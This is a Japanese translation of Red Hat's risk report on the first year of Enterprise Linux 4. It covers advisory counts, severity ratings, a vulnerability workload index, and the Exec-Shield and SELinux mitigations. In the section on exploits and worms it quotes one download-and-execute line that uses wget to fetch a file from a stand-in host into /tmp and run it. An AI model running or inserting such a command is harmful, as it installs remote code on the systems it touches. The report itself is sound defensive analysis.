リスクレポート：
Red Hat Enterprise Linux 4の1年

Red Hat Enterprise Linux 4は、2005年2月15日にリリースされました。このレポートでは、リリース後の最初の1年について、評価尺度、重大な脆弱性、およびユーザがセキュリティ問題の影響を受けた最も一般的な形態など、セキュリティの状況を検討します。問題の影響を最小化するために使用されているベストプラクティスをいくつか紹介し、Exec-ShieldやSELinuxといったRed Hatのセキュリティ技術革新の効果についても検討します。

この記事は「リスクレポート」と呼ばれています。Red Hatではリスクを、1年目にEnterprise Linux 4のユーザに影響を与えたセキュリティ脆弱性（脆弱性）、およびユーザが脆弱性の悪用やワームから受けた悪影響（脅威）の関数と捉えています。

一見すると、Red Hatは年間を通じて多数のアップデートをリリースしたように見えます ^[1] 。合計183のセキュリティ勧告を発行し、422の脆弱性に対処しました。ただし、これはリスクに関係なく脆弱性をすべて網羅した場合の統計であり、利用可能なあらゆるパッケージが全部インストールされたシステムにのみ当てはまります。それはデフォルトまたは一般的な構成ではありません。

Enterprise Linux 4のリリースとともに、深刻度（シビリティ）レベルの公表を始めました。これは、ユーザが最も問題となる勧告を判断するときに役立ちます。優先度付きのリスク評価が提供されることによって、お客様はシステムのアップグレードをより効率的にスケジューリングすることができます。また、それぞれの問題が各自の環境にもたらすリスクについて、より多くの情報に基づいた判断が可能になります。

Red Hatは、個々の脆弱性の影響を4段階の尺度 ^[2] 格付けしています。これは、それぞれのセキュリティ問題の深刻さに対するRed Hatの評価がひと目でわかるように設計されています。この尺度では、欠陥自体とそのタイプに関する技術的分析に基づいて、欠陥の潜在的リスクが考慮されていますが、現在の脅威のレベルは考慮されていません。そのため、ある欠陥についてあとで悪用やワームが登場したり、修正がリリースされる前にそれらが新たに現れたりしても、その問題に付与された格付けは変更されません。

表1. 深刻度（シビリティ）の格付け

お客様が対処する必要のある脆弱性の数を監視するのに、Red Hatでは2つの尺度を使用しています。重大な脆弱性の数、および脆弱性ワークロード指数（深刻度でランク付けした1日あたりの脆弱性の数）です。

この脆弱性ワークロード指数は、セキュリティ運用スタッフが対処する必要のある日々の重要な脆弱性の数を計る尺度となります。この数が大きくなるほど、ワークロードが大きくなり、その脆弱性によって表される一般的なリスクが増大します。ワークロード指数は、NISTのワークロード指数 ^[3] と同様の方法で計算されます。

特定の月について、脆弱性ワークロード =（（前月に公表された深刻度「重大」および「重要」の脆弱性の数）+（前月に公表された深刻度「中」の脆弱性の数/5）+（前月に公表された深刻度「低」の脆弱性の数/20））/（当月の日数）となります。

図1. フルインストールされたEnterprise Linux 4 ASの脆弱性ワークロード

第1の月に最初のピークが現れることは予想されていました。Enterprise Linux 4のコードはリリース前の数カ月間フリーズされていたため、リリース後すぐに修正が必要になる問題が蓄積されていました。

表2. 各深刻度の脆弱性の数

Red Hat Enterprise Linuxをインストールするとき、ユーザはパッケージのインストールをデフォルト選択で行うか、それともカスタム選択で行うかを選択できます^[4]。

表2は、Enterprise Linux 4 ASのデフォルトインストール^[5]が、どの重大な欠陥に対しても脆弱性を持たないことを示しています。これは、重大な欠陥の大部分がWebブラウザまたはプラグインに存在するためです。FirefoxとMozillaは、デフォルトではサーバシステムにインストールされません。クライアントシステム（Enterprise Linux WSとRed Hat Desktop）にはデフォルトでFirefox、 Mozilla、およびHelixplayerが含まれるため、14個の重大な脆弱性が発生します。ASでも、デフォルト以外のインストールを行って利用可能なパッケージをすべて選択すると、その1年で考えられる最大の数（19個）の重大な脆弱性を持つシステムが生まれます^[6]。

これまでは、プラットフォームに影響を与える理論的な脆弱性を検討してきました。しかし、リスクをより正確に捉えるには、実際の脅威を考慮に入れることも必要です。このセクションでは、Red Hatから出荷されるソフトウェアパッケージの欠陥を利用するために作成された、脆弱性エクスプロイトとワームについて検討します。

 
exec("cd /tmp;wget http://somesite.example.com/exe;chmod u+x exe;./exe"); 

Red Hatは、セキュリティ脆弱性のリスク軽減に役立つテクノロジを継続的に開発しています。これらの多くがRed Hat Enterprise Linux 4に統合されました。最大のものはSELinuxとExec-Shieldです。Exec-ShieldはNo eXecute（NX）メモリパーミッションのサポートを実現するプロジェクトであり、セグメント制限、Position Independent Executable（PIE）、gcc、およびglibcの強化を通じてNXをシミュレートします。glibcの強化には、過去にwuftpdなどのサービスの悪用が話題になった不明瞭なプログラミングの欠陥、「二重解放」の悪用を防止するためのチェックの追加が含まれます。

2004年8月、MITチームは、MIT Kerberos 5のKey Distribution Centerプログラムに二重解放のセキュリティ欠陥があることを公表しました ^[7] ed Hat Enterprise Linux 4ユーザについては、glibcの強化によりこの二重解放欠陥の悪用が防止されるため、この欠陥の深刻度を「重大」から「重要」に引き下げることができました。

このレポートの目的は、Red Hat Enterprise Linux 4のユーザがリリース1年目に遭遇したリスクを検討することでした。表面的にはRed Hatが多数のセキュリティ勧告をリリースしたように見えますが、実はその多くは通常またはデフォルトのインストールには該当せず、深刻度の高いものは一部に過ぎないことが示されました。

Red Hat Enterprise Linux 4のセキュリティの状況について、このレポートのみに基づいて結論を下すのはばかげていますが、ここで追求したことは、過去の脆弱性と脅威のレベル、したがってプラットフォームの全体的なリスクを示すことです。

Red Hatセキュリティ対策チームのポリシーは、セキュリティ脆弱性のリスクを軽減するために設計されています。

このレポートで統計情報の作成に使用されている生データの大部分、およびその分析のためのツールは、Red Hatセキュリティ対策チームからオンラインで入手でき ^[8] 、定期的にアップデートされています。